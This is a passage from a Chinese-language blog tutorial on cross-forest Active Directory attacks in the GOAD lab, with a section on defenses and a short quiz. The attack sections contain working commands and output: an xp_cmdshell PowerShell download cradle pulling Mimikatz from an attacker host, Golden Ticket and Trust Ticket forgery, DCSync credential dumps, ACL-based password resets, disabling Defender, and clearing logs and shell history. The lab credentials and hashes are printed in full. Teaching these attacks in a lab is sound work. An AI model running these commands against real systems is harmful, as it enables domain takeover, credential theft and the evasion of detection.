  • sp_configure 是 SQL Server 的系統預存程序,用來查看或修改伺服器設定
  • show advanced options 控制是否顯示進階設定選項
  • RECONFIGURE 讓變更立即生效
  • AT BRAAVOS 表示透過連結伺服器在 BRAAVOS 上執行

回傳訊息

Configuration option 'show advanced options' changed from 1 to 1.
  • 設定值從 1 改為 1(表示原本就已經啟用)
  • 這通常表示之前已經有人啟用過進階選項

步驟 2:啟用 xp_cmdshell

EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT BRAAVOS;

說明

  • 啟用 xp_cmdshell 功能
  • xp_cmdshell 是 SQL Server 的擴充預存程序,允許執行作業系統命令
  • 這是一個高風險功能,預設通常是關閉的

回傳訊息

Configuration option 'xp_cmdshell' changed from 1 to 1.
  • 同樣顯示從 1 改為 1,表示 xp_cmdshell 原本就已經啟用

步驟 3:執行系統命令

EXEC ('xp_cmdshell ''whoami''') AT BRAAVOS;

image

說明

  • 透過 xp_cmdshell 執行 Windows 系統命令 whoami
  • whoami 會顯示目前執行命令的使用者身分

回傳結果

output
-------------
essos\sql_svc

NULL
  • 命令成功執行
  • 顯示 SQL Server 服務是以 essos\sql_svc 這個網域帳號身分執行
  • NULL 是命令輸出的結尾標記(因為 xp_cmdshell 會將每一行輸出當作一筆記錄回傳)

或使用 Impacket 的簡化指令

SQL> use_link BRAAVOS
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

image

輸出

essos\braavos$

現在可以執行任意命令

SQL> xp_cmdshell powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>:8080/Invoke-Mimikatz.ps1')"

進階:鏈式 Database Links

如果有多層 Database Links,可以遞迴執行:

-- CASTELBLACK → BRAAVOS → 其他伺服器
SELECT * FROM OPENQUERY("BRAAVOS", 'SELECT * FROM OPENQUERY("OTHER_SERVER", ''SELECT @@version'')');

1.6 方法五:Golden Ticket 搭配 SID History(跨森林終極提權)

這是跨森林攻擊中最強大的技術,可以從一個森林直接跳到另一個森林並取得域管理員權限。但這種攻擊只有在特定的信任設定下才能成功。

前置條件檢查

  1. 森林信任必須允許 SID History
  2. SID Filtering 必須被關閉或設定較寬鬆
  3. 攻擊方向很重要(信任屬性可能不對稱)

檢查信任屬性(雙向查詢)

重要觀念:森林信任的安全設定在兩個方向上可能不同。必須從攻擊起點查詢才能確認該方向是否可行。

從 sevenkingdoms.local 查詢

ldeep ldap -u tywin.lannister -p 'powerkingftw135' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  trusts

image

輸出結果

dn: CN=essos.local,CN=System,DC=sevenkingdoms,DC=local
trustAttributes: FOREST_TRANSITIVE | TREAT_AS_EXTERNAL

dn: CN=north.sevenkingdoms.local,CN=System,DC=sevenkingdoms,DC=local
trustAttributes: WITHIN_FOREST

從 essos.local 查詢

ldeep ldap -u daenerys.targaryen -p 'BurnThemAll!' \
  -d essos.local \
  -s ldap://192.168.139.12 \
  trusts

image

輸出結果

dn: CN=sevenkingdoms.local,CN=System,DC=essos,DC=local
trustAttributes: FOREST_TRANSITIVE

關鍵發現:信任屬性的方向性差異

攻擊方向 信任屬性 SID Filtering 可行性
sevenkingdoms → essos FOREST_TRANSITIVE | TREAT_AS_EXTERNAL ✅ 啟用(嚴格) ❌ 無法攻擊
essos → sevenkingdoms FOREST_TRANSITIVE ⚠️ 較寬鬆 可以嘗試

結論:從 essos.local 攻擊 sevenkingdoms.local 這個方向沒有明確的 SID Filtering 標記,值得嘗試!

攻擊原理與限制

攻擊流程

步驟 1: 取得 essos.local 的 krbtgt hash(透過 DCSync)
  ↓
步驟 2: 使用 ticketer 建立 Golden Ticket
  ↓
步驟 3: 在 ExtraSid 欄位加入 sevenkingdoms.local 的高權限群組 SID
  ↓
步驟 4: 因為 essos → sevenkingdoms 方向沒有 TREAT_AS_EXTERNAL
        sevenkingdoms.local 可能會接受該 ExtraSid
  ↓
步驟 5: 取得 sevenkingdoms.local 的 DCSync 權限

RID Filtering 限制(永遠有效)

即使 SID Filtering 被完全關閉,Microsoft 仍實施了硬編碼的 RID Filtering

被過濾的內建群組(RID < 1000):
- 500 (Administrator)
- 512 (Domain Admins)
- 518 (Schema Admins)
- 519 (Enterprise Admins)

可以使用的 SID(RID >= 1000):
- 1108 (Small Council)
- 1111 (DragonRider)
- 1112 (AcrossTheNarrowSea)

策略:在 BloodHound 中尋找 RID >= 1000 且擁有高權限的自訂群組。

實戰操作(完整步驟)

步驟 1:取得域 SID

# 取得 essos.local 的 SID
lookupsid.py -domain-sids \
  essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.12 0

image

輸出

[*] Domain SID is: S-1-5-21-275833018-1746530869-4266753375
# 取得 sevenkingdoms.local 的 SID
lookupsid.py -domain-sids \
  essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.10 0

image

輸出

[*] Domain SID is: S-1-5-21-3099511005-1426058213-160971164

步驟 2:提取 essos.local 的 krbtgt Hash

# 使用 vagrant 帳號(有 DCSync 權限)
secretsdump.py -just-dc-user krbtgt \
  essos.local/vagrant@192.168.139.12 \
  -hashes ':e02bc503339d51f71d913c245d35b50b'

image

輸出

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a5df275f8f1573d10758b4de3ab8e53b:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:89738402663d29a0f95927200d6825ed841be11ca6880ab10f38e9fed2c967e8
krbtgt:aes128-cts-hmac-sha1-96:201181d2684c810476107979d10fcfcb

關鍵資訊

  • krbtgt NT Hash: a5df275f8f1573d10758b4de3ab8e53b

步驟 3:列舉目標群組(尋找 RID >= 1000)

lookupsid.py \
  essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.10 \
  | grep -i dragon

image

輸出

1109: SEVENKINGDOMS\DragonStone (SidTypeGroup)
1111: SEVENKINGDOMS\DragonRider (SidTypeGroup)

關鍵資訊

  • DragonRider RID: 1111
  • 完整 SID: S-1-5-21-3099511005-1426058213-160971164-1111

DragonRider 群組的權限(使用 BloodHound 確認):

MATCH (g:Group {name:"DRAGONRIDER@SEVENKINGDOMS.LOCAL"})-[r]->(m) 
RETURN g,r,m

發現:DragonRider 是 Builtin Administrators 的成員,擁有對域控制器的完全控制權!

步驟 4:建立 Golden Ticket with ExtraSid

ticketer.py \
  -nthash a5df275f8f1573d10758b4de3ab8e53b \
  -domain-sid S-1-5-21-275833018-1746530869-4266753375 \
  -domain essos.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-1111 \
  dragon

image

參數說明

  • -nthash: essos.local 的 krbtgt hash
  • -domain-sid: essos.local 的域 SID
  • -domain: essos.local
  • -extra-sid: sevenkingdoms.local\DragonRider 的完整 SID
  • dragon: 偽造的使用者名稱(簡單即可,不要過度複雜)

輸出

[*] Saving ticket in dragon.ccache

步驟 5:使用票證存取 sevenkingdoms.local

# 設定 Kerberos 票證環境變數
export KRB5CCNAME=dragon.ccache

# 執行 DCSync 取得所有使用者憑證
secretsdump.py -k -no-pass \
  -just-dc \
  dragon@kingslanding.sevenkingdoms.local

image

輸出

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
...(省略其他使用者)
[*] Kerberos keys grabbed
...(省略 Kerberos 金鑰)

🎉 攻擊成功!完全控制 sevenkingdoms.local 域!

後續利用

取得 SYSTEM Shell

smbexec.py -k -no-pass \
  dragon@kingslanding.sevenkingdoms.local

建立 sevenkingdoms.local 的 Golden Ticket

ticketer.py \
  -nthash 3bd92e98b99b5f66fc4d771a18e003bb \
  -domain-sid S-1-5-21-3099511005-1426058213-160971164 \
  -domain sevenkingdoms.local \
  -user-id 500 \
  Administrator

export KRB5CCNAME=Administrator.ccache

橫向移動到 north.sevenkingdoms.local 子域

# 同森林內沒有 SID Filtering
secretsdump.py -k -no-pass \
  Administrator@castelblack.north.sevenkingdoms.local

這是跨森林攻擊中最強大的技術,成功後可以完全控制目標森林。在真實環境中,這種攻擊需要精確的設定和執行,但一旦成功就能跨越原本應該隔離的安全邊界。

1.7 方法六:Trust Ticket 搭配 SID History(進階技術)

Trust Ticket 是另一種跨森林攻擊方法,使用域間信任帳號(Trust Account)的 hash 而不是 krbtgt。這種方法更接近真實的跨域認證流程,但也更複雜。

Trust Ticket vs Golden Ticket

特性 Golden Ticket Trust Ticket
使用的 Hash krbtgt Trust Account (SEVENKINGDOMS$)
偽造的票證 TGT Inter-Realm TGT
票證用途 直接在域內使用 用於跨域認證
複雜度 簡單 複雜(需要額外步驟)
成功率 中等

概念說明

  • Trust Account(如 SEVENKINGDOMS$)是 essos.local 中代表與 sevenkingdoms.local 信任關係的特殊帳號
  • 其 hash 被用作跨域認證的共享金鑰
  • 使用 Trust Key 偽造的票證稱為 Inter-Realm TGT

實戰操作

步驟 1:提取 Trust Key

# 在 essos.local 的 DC 上提取 SEVENKINGDOMS$ 帳號的 hash
secretsdump.py -just-dc-user 'SEVENKINGDOMS$' \
  essos.local/vagrant@192.168.139.12 \
  -hashes ':e02bc503339d51f71d913c245d35b50b'

image

輸出

SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:921ab9c08c40d51c38c1fff01a14956e:::

關鍵資訊

  • Trust Key NT Hash: 921ab9c08c40d51c38c1fff01a14956e

步驟 2:建立 Inter-Realm TGT with ExtraSid

ticketer.py \
  -nthash 921ab9c08c40d51c38c1fff01a14956e \
  -domain-sid S-1-5-21-275833018-1746530869-4266753375 \
  -domain essos.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-1111 \
  -spn krbtgt/sevenkingdoms.local \
  trustdragon

image

參數說明

  • -nthash: Trust Account 的 hash(不是 krbtgt)
  • -domain-sid: essos.local 的域 SID
  • -extra-sid: sevenkingdoms.local\DragonRider 的 SID
  • -spn krbtgt/sevenkingdoms.local: 指定目標域的 krbtgt 服務

輸出

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for essos.local/trustdragon
[*] Saving ticket in trustdragon.ccache

步驟 3:使用 Inter-Realm TGT 請求服務票證

export KRB5CCNAME=trustdragon.ccache

# 向 sevenkingdoms.local 的 KDC 請求服務票證
getST.py -k -no-pass \
  -spn cifs/kingslanding.sevenkingdoms.local \
  sevenkingdoms.local/trustdragon

image

輸出

[*] Getting ST for user
[*] Saving ticket in trustdragon@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

關鍵步驟說明

  • Inter-Realm TGT 本身無法直接存取服務
  • 需要使用它向目標域的 KDC 請求服務票證
  • 這個步驟模擬真實的跨域 Kerberos 認證流程

步驟 4:使用服務票證存取 sevenkingdoms.local

export KRB5CCNAME=trustdragon@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

# 測試存取 DC 的共享資料夾
smbclient.py -k -no-pass \
  trustdragon@kingslanding.sevenkingdoms.local

image

輸出

Type help for list of commands
# shares
ADMIN$
C$
CertEnroll
IPC$
NETLOGON
SYSVOL

執行 DCSync

secretsdump.py -k -no-pass \
  -just-dc \
  trustdragon@kingslanding.sevenkingdoms.local

image

輸出

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
...(所有使用者憑證)

Trust Ticket 攻擊成功!

1.8 方法七:利用 ACL 搭配 Trust Ticket(跨域權限濫用)

更隱蔽的跨域攻擊方法,不直接控制域控制器,而是利用 ACL 權限對目標域的特定物件進行修改。

攻擊場景

在 GOAD 環境中存在跨域的 ACL 設定錯誤:

essos.local\KingsGuard 群組(RID 1110)
↓ GenericAll 權限
sevenkingdoms.local\stannis.baratheon 使用者

攻擊策略

  1. 使用 Trust Ticket 偽造包含 KingsGuard SID 的跨域身分
  2. 透過 ACL 權限修改 stannis.baratheon 的密碼
  3. 使用新密碼在 sevenkingdoms.local 橫向移動

完整操作步驟

步驟 1:列舉 KingsGuard 群組的 RID

lookupsid.py \
  essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.10 \
  | grep -i kings

image

輸出

1110: SEVENKINGDOMS\KingsGuard (SidTypeGroup)

關鍵資訊

  • essos.local SID: S-1-5-21-275833018-1746530869-4266753375
  • KingsGuard 完整 SID: S-1-5-21-3099511005-1426058213-160971164-1110

步驟 2:建立包含 KingsGuard SID 的 Trust Ticket

ticketer.py \
  -nthash 921ab9c08c40d51c38c1fff01a14956e \
  -domain-sid S-1-5-21-275833018-1746530869-4266753375 \
  -domain essos.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-1110 \
  -spn krbtgt/sevenkingdoms.local \
  guard

image

參數說明

  • -nthash: Trust Account (SEVENKINGDOMS$) 的 hash
  • -domain-sid: essos.local 的域 SID
  • -extra-sid: sevenkingdoms.local\KingsGuard 的完整 SID
  • -spn krbtgt/sevenkingdoms.local: 指定目標域的 krbtgt 服務

輸出

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for essos.local/guard
[*] Saving ticket in guard.ccache

步驟 3:請求 LDAP 服務票證

export KRB5CCNAME=guard.ccache

getST.py -k -no-pass \
  -spn ldap/kingslanding.sevenkingdoms.local \
  sevenkingdoms.local/guard

image

輸出

[*] Getting ST for user
[*] Saving ticket in guard@ldap_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

這個步驟使用 Inter-Realm TGT 向 sevenkingdoms.local 的 KDC 請求 LDAP 服務票證。

步驟 4:處理票證檔案名稱(避免路徑問題)

# 將檔名中的特殊字元重新命名為簡單檔名
mv "guard@ldap_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache" guard_ldap.ccache

export KRB5CCNAME=guard_ldap.ccache

image

注意:檔名中的 @ 符號會被某些工具 URL 編碼,導致找不到檔案。

步驟 5:確認工具版本(關鍵)

# 檢查 bloodyAD 版本
pip show bloodyAD

# 如果版本低於 2.1.27,需要升級
pip install --upgrade bloodyAD msldap

image

必要版本

  • bloodyAD >= 2.1.27
  • msldap >= 0.5.12

舊版本有嚴重的相容性問題,會導致操作失敗。

步驟 6:使用 ACL 權限修改密碼

bloodyAD -d sevenkingdoms.local \
  --host kingslanding.sevenkingdoms.local \
  --kerberos \
  set password stannis.baratheon 'NewPassword123!'

image

輸出

[+] Password changed successfully!

步驟 7:驗證新密碼

nxc smb 192.168.139.10 \
  -u stannis.baratheon \
  -p 'NewPassword123!' \
  -d sevenkingdoms.local

image

輸出

SMB    192.168.139.10  445    KINGSLANDING  [+] sevenkingdoms.local\stannis.baratheon:NewPassword123!

攻擊成功!現在可以使用 stannis.baratheon 在 sevenkingdoms.local 中橫向移動。

後續利用

使用 stannis.baratheon 進行橫向移動

# 列舉 stannis.baratheon 的權限
nxc ldap 192.168.139.10 \
  -u stannis.baratheon -p 'NewPassword123!' \
  --bloodhound -c All

# 檢查群組成員資格
nxc ldap 192.168.139.10 \
  -u stannis.baratheon -p 'NewPassword123!' \
  -M group-mem -o GROUP="Domain Admins"

# 如果有 WinRM 存取權,取得 shell
evil-winrm -i 192.168.139.10 \
  -u stannis.baratheon \
  -p 'NewPassword123!'

方法 B:Windows 環境操作(使用 Mimikatz + PowerView)

如果 Linux 工具遇到問題,或需要更可靠的跨域操作,可以在 Windows 環境中使用原生工具。

前置準備

步驟 1:RDP 連線到 MEEREEN (essos.local DC)

# 從 Kali 使用 xfreerdp 連線
xfreerdp /d:essos.local \
  /u:daenerys.targaryen \
  /p:'BurnThemAll!' \
  /v:192.168.139.12 \
  /cert:ignore \
  /dynamic-resolution

步驟 2:停用 Windows Defender

在 MEEREEN 上開啟 PowerShell(管理員):

# 停用即時保護
Set-MpPreference -DisableRealtimeMonitoring $true

# 確認狀態
Get-MpPreference | Select-Object DisableRealtimeMonitoring

步驟 3:下載所需工具

在 Kali 上啟動 HTTP 伺服器:

# 準備工具
python3 -m http.server 8080

在 MEEREEN 的 PowerShell 中下載:

# 建立工具目錄
New-Item -ItemType Directory -Path C:\Tools -Force

# 下載 Mimikatz
Invoke-WebRequest -Uri http://<KALI_IP>:8080/mimikatz.exe `
  -OutFile C:\Tool\mimikatz.exe

# 下載 PowerView
Invoke-WebRequest -Uri http://<KALI_IP>:8080/PowerView.ps1 `
  -OutFile C:\Tool\PowerView.ps1

執行攻擊

步驟 4:使用 Mimikatz 建立包含 KingsGuard SID 的 Golden Ticket

開啟 CMD 或 PowerShell,執行 Mimikatz:

C:\Tool\mimikatz.exe

在 Mimikatz 中執行:

mimikatz # kerberos::golden /user:guard /domain:essos.local /sid:S-1-5-21-275833018-1746530869-4266753375 /krbtgt:a5df275f8f1573d10758b4de3ab8e53b /sids:S-1-5-21-3099511005-1426058213-160971164-1110 /ptt

參數說明

  • /user:guard - 偽造的使用者名稱
  • /domain:essos.local - 來源域
  • /sid:S-1-5-21-... - essos.local 的域 SID
  • /krbtgt:a5df... - essos.local 的 krbtgt hash
  • /sids:S-1-5-21-...-1110 - sevenkingdoms.local\KingsGuard 的 SID(ExtraSid)
  • /ptt - Pass-the-Ticket(直接注入到記憶體)

輸出

User      : guard
Domain    : essos.local (ESSOS)
SID       : S-1-5-21-275833018-1746530869-4266753375
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3099511005-1426058213-160971164-1110 ;
ServiceKey: a5df275f8f1573d10758b4de3ab8e53b - rc4_hmac_nt
Lifetime  : <timestamp>
-> Ticket : ** Pass The Ticket **

Golden ticket for 'guard @ essos.local' successfully submitted for current session

步驟 5:驗證票證

離開 Mimikatz(輸入 exit),在 CMD 中檢查票證:

klist

輸出

Current LogonId is 0:0x2a9b8c

Cached Tickets: (3)

#0>     Client: guard @ essos.local
        Server: krbtgt/essos.local @ ESSOS.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: <timestamp>
        End Time:   12/31/2037 23:59:59 (local)
        Renew Time: 12/31/2037 23:59:59 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY

#1>     Client: guard @ essos.local
        Server: krbtgt/SEVENKINGDOMS.LOCAL @ ESSOS.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        ... (Inter-Realm TGT)

#2>     Client: guard @ essos.local
        Server: ldap/kingslanding.sevenkingdoms.local @ SEVENKINGDOMS.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        ... (LDAP 服務票證)

關鍵觀察

  • 票證 #0:本地域的 TGT
  • 票證 #1:跨域的 Inter-Realm TGT(自動產生)
  • 票證 #2:目標域的服務票證(自動請求)

Mimikatz 的 /ptt 優勢:自動處理整個跨域認證流程,包括 Inter-Realm TGT 和服務票證請求。

步驟 6:使用 PowerView 修改密碼

開啟新的 PowerShell 視窗:

# 載入 PowerView
Import-Module C:\Tool\PowerView.ps1

# 建立新密碼(SecureString 格式)
$SecPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force

# 修改 stannis.baratheon 的密碼
Set-DomainUserPassword -Identity stannis.baratheon `
  -AccountPassword $SecPassword `
  -Domain sevenkingdoms.local `
  -Verbose

輸出

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=sevenkingdoms,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(samAccountName=stannis.baratheon))
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'stannis.baratheon'
VERBOSE: [Set-DomainUserPassword] Password for user 'stannis.baratheon' successfully set

如果無輸出:表示操作成功(PowerShell 預設不顯示成功訊息)。

步驟 7:驗證密碼修改(回到 Kali)

nxc smb 192.168.139.10 \
  -u stannis.baratheon \
  -p 'NewPassword123!' \
  -d sevenkingdoms.local

輸出

SMB    192.168.139.10  445    KINGSLANDING  [+] sevenkingdoms.local\stannis.baratheon:NewPassword123!

清理痕跡

在 MEEREEN 上清理

# 刪除工具
Remove-Item -Path C:\Tools -Recurse -Force

# 清除 PowerShell 歷史記錄
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath

# 清除票證
klist purge

# 重新啟用 Defender(選擇性)
Set-MpPreference -DisableRealtimeMonitoring $false

清理 Event Log(需要管理員權限)

# 清除安全性日誌(會留下清除記錄)
wevtutil cl Security

2. 防禦手法

2.1 架構層面的防禦策略

不要將信任關係視為安全邊界

許多企業誤以為建立子域或獨立森林就能有效隔離敏感資源,但實際上:

  • 同一森林內的所有域共享相同的 Schema 與 Configuration
  • Enterprise Admins 群組對整個森林擁有完全控制權
  • 子域的 Domain Admins 可以透過 Golden Ticket 提權到父域

建議做法:

  • 真正需要隔離的環境應使用完全獨立的森林,且不建立任何信任關係
  • 採用 ESAE(Enhanced Security Admin Environment)架構,將管理層與一般使用者層分離
  • 使用專用的特權存取工作站(PAW)管理域控制器

2.2 帳號與權限管理

實施分層管理模型(Tier Model)

層級 資產類型 管理帳號 限制
Tier 0 域控制器、CA、ADFS 專用管理帳號 不得用於 Tier 1/2
Tier 1 伺服器、SQL、Exchange 伺服器管理帳號 不得用於 Tier 2
Tier 2 使用者工作站 一般使用者帳號 不得存取 Tier 0/1

使用 Protected Users 群組

將高權限帳號加入 Protected Users 群組可以:

  • 禁止使用 NTLM 認證(防止 Pass-the-Hash)
  • 禁止 Kerberos DES 與 RC4 加密
  • TGT 有效期限制為 4 小時(無法更新)
  • 無法被委派
# 將 Domain Admins 加入 Protected Users
Get-ADGroupMember "Domain Admins" | ForEach-Object {
    Add-ADGroupMember -Identity "Protected Users" -Members $_
}

密碼管理最佳實踐

  • 使用 LAPS(Local Administrator Password Solution)管理本機管理員密碼
  • 為服務帳號使用 Group Managed Service Accounts(gMSA)
  • 實施強密碼政策:最少 15 字元、複雜度要求、定期輪換
  • 避免在多個域或系統間重複使用相同密碼

2.3 信任關係的強化設定

啟用並維持 SID Filtering

SID Filtering 是跨森林攻擊的主要防禦機制:

# 檢查 SID Filtering 狀態
Get-ADTrust -Filter * | Select-Object Name, SIDFilteringQuarantined

# 確保 SID Filtering 已啟用(預設應為 True)
Set-ADTrust -Identity "essos.local" -SIDFilteringQuarantined $true

# 使用 netdom 檢查
netdom trust sevenkingdoms.local /domain:essos.local /quarantine

移除 TREAT_AS_EXTERNAL 屬性

此屬性會放寬 SID Filtering 的限制:

# 查看信任屬性
Get-ADTrust -Identity "essos.local" | Select-Object TrustAttributes

# 如果發現 TREAT_AS_EXTERNAL,應移除
netdom trust sevenkingdoms.local /domain:essos.local /quarantine:yes

實施選擇性認證(Selective Authentication)

這是最嚴格的跨域存取控制:

# 啟用選擇性認證
netdom trust sevenkingdoms.local /domain:essos.local /SelectiveAuth:yes

# 效果:外部域的使用者必須在每個資源上被明確授予「允許認證」權限

2.4 Foreign Groups 的管理與審查

定期審查跨域群組成員

Foreign Groups 是攻擊者橫向移動的常見途徑:

# 列出所有包含外部域成員的群組
$ForeignGroups = Get-ADGroup -Filter * -Properties Members | 
    Where-Object { $_.Members -like "*CN=ForeignSecurityPrincipals*" }

foreach ($Group in $ForeignGroups) {
    Write-Host "群組: $($Group.Name)" -ForegroundColor Yellow
    
    # 解析外部成員
    $Group.Members | Where-Object { $_ -like "*CN=ForeignSecurityPrincipals*" } | 
        ForEach-Object {
            $FSP = Get-ADObject $_ -Properties *
            Write-Host "  外部成員: $($FSP.Name)" -ForegroundColor Cyan
        }
}

限制 Foreign Groups 的權限

  • 外部域的群組不應擁有 GenericAll 或 WriteDacl 等高權限
  • 避免將外部群組加入 Administrators 或其他特權群組
  • 遵循最小權限原則,僅授予必要的存取權

2.5 委派設定的安全管理

限制 Unconstrained Delegation

  • 僅域控制器應使用 Unconstrained Delegation
  • 禁止在一般伺服器或使用者帳號上啟用
# 尋找啟用 Unconstrained Delegation 的非 DC 帳號
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516} |
    Select-Object Name, DistinguishedName

# 尋找啟用 Unconstrained Delegation 的使用者帳號
Get-ADUser -Filter {TrustedForDelegation -eq $true} |
    Select-Object Name, DistinguishedName

使用 Resource-Based Constrained Delegation 時的注意事項

  • 定期審查 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性
  • 限制能夠建立機器帳號的權限(MachineAccountQuota 設為 0)
  • 監控該屬性的修改事件

2.6 krbtgt 帳號的密碼管理

定期重置 krbtgt 密碼

這是防禦 Golden Ticket 攻擊的關鍵措施:

# 使用 Microsoft 官方腳本
# https://github.com/microsoft/New-KrbtgtKeys.ps1

# 第一次重置(使用 WhatIf 預覽)
.\New-KrbtgtKeys.ps1 -WhatIf

# 確認後執行
.\New-KrbtgtKeys.ps1 -Confirm

# 等待 10 小時(最長 TGT 有效期)

# 第二次重置(移除舊密碼)
.\New-KrbtgtKeys.ps1 -Confirm

為何需要重置兩次?

krbtgt 帳號維護兩個密碼屬性(Current Password 與 Previous Password),域控制器會接受使用任一密碼簽發的票證。第一次重置後,攻擊者的 Golden Ticket 仍可使用 Previous Password;只有第二次重置才能完全使舊票證失效。

重置頻率建議:

  • 正常環境:每年兩次
  • 懷疑入侵後:立即重置兩次
  • 大型環境:分階段重置以避免服務中斷

2.7 監控與偵測機制

啟用進階稽核政策

# 啟用關鍵稽核類別
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable

關鍵事件 ID 監控清單

Event ID 事件類型 監控重點
4768 TGT 請求 異常的 TGT 有效期(10 年表示 Golden Ticket)
4769 TGS 請求 ExtraSid 屬性、跨域票證請求
4662 LDAP 查詢 大量目錄物件讀取(DCSync 徵兆)
5136 目錄物件修改 msDS-AllowedToActOnBehalfOfOtherIdentity 變更
4738 使用者帳號變更 密碼重置、特別是來自外部域的操作
4672 特殊權限指派 使用高權限帳號登入

異常行為偵測指標

DCSync 攻擊特徵:

  • 大量的 Directory Replication 請求(非來自 DC)
  • 使用非 DC 電腦名稱請求目錄複寫
  • 在短時間內查詢大量使用者物件

Golden Ticket 特徵:

  • TGT 有效期異常長(正常為 10 小時,Golden Ticket 可達 10 年)
  • 從不存在或已刪除的帳號請求 TGT
  • 票證加密類型異常(如使用已棄用的 RC4)

跨域異常活動:

  • 頻繁的跨域認證請求
  • 外部域帳號存取敏感資源
  • 使用 Foreign Security Principal 修改權限

3. 小試身手

題目 1

在 Active Directory 同一森林內,攻擊者已取得子域(north.sevenkingdoms.local)的 Domain Admins 權限並提取 krbtgt hash。若要透過 Golden Ticket 提權到父域(sevenkingdoms.local),應在票證中加入哪個 SID?

A. 父域的 Domain Admins(RID 512)
B. 父域的 Enterprise Admins(RID 519)
C. 子域的 Domain Admins(RID 512)
D. 本機 Administrators(SID S-1-5-32-544)

正確答案:B

Enterprise Admins 是森林層級群組,預設是所有域的 Administrators 成員,對整個森林有完全控制權。在建立 Golden Ticket 時,透過 ExtraSid 加入父域的 Enterprise Admins(RID 519)可直接取得父域權限。
Domain Admins(RID 512)僅對特定域有效,無法直接提權到父域。本機 Administrators 是 Well-Known SID,不屬於任何域。

題目 2

在跨森林環境(sevenkingdoms.local ↔ essos.local)中,攻擊者已控制 essos.local 並取得 krbtgt hash。若要使用 Golden Ticket 搭配 SID History 攻擊 sevenkingdoms.local,應選擇哪種群組作為 ExtraSid?

A. RID < 1000 的內建群組(如 Enterprise Admins)
B. RID ≥ 1000 的自訂高權限群組
C. 任何群組(SID Filtering 在森林信任中預設關閉)
D. Universal 群組(範圍涵蓋整個森林)

正確答案:B

跨森林信任存在 RID Filtering 硬限制,永久過濾 RID < 1000 的內建群組(如 512 Domain Admins、519 Enterprise Admins),無法繞過。攻擊者必須在 BloodHound 中尋找 RID ≥ 1000 且擁有高權限的自訂群組(如 DragonRider RID 1111)。
森林信任預設「啟用」SID Filtering,並非關閉。群組範圍與此攻擊無關,關鍵在於 RID 值。

題目 3

攻擊者發現 essos.local 的 KingsGuard 群組對 sevenkingdoms.local 的使用者有 GenericAll 權限。已取得 Trust Account(SEVENKINGDOMS$)的 hash。若要利用此 ACL 權限修改密碼,應使用哪種票證?

A. Golden Ticket(使用 essos.local 的 krbtgt)
B. Trust Ticket(使用 SEVENKINGDOMS$ 的 hash)
C. Silver Ticket(針對 LDAP 服務)
D. 直接請求 TGT

正確答案:B

Trust Ticket(Inter-Realm TGT)是專為跨域認證設計的票證類型。使用 Trust Account 的 hash 建立 Inter-Realm TGT 後,可向目標域的 KDC 請求服務票證,目標域會接受此跨域認證。

Golden Ticket 使用來源域的 krbtgt,無法直接向目標域請求服務票證。Silver Ticket 需要目標服務的 hash,且無法包含跨域 ExtraSid。

攻擊流程:

  1. 建立 Trust Ticket
  2. 請求 LDAP 服務票證
  3. 修改密碼

上一篇
AD 攻防實戰演練 Day 21:Active Directory 子域提權攻擊完全解析 - 從信任關係到父域控制
下一篇
AD 攻防實戰演練 Day 23:掌握 AD 列舉技術與 SYSTEM 權限運用
系列文
資安這條路:AD 攻防實戰演練23
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言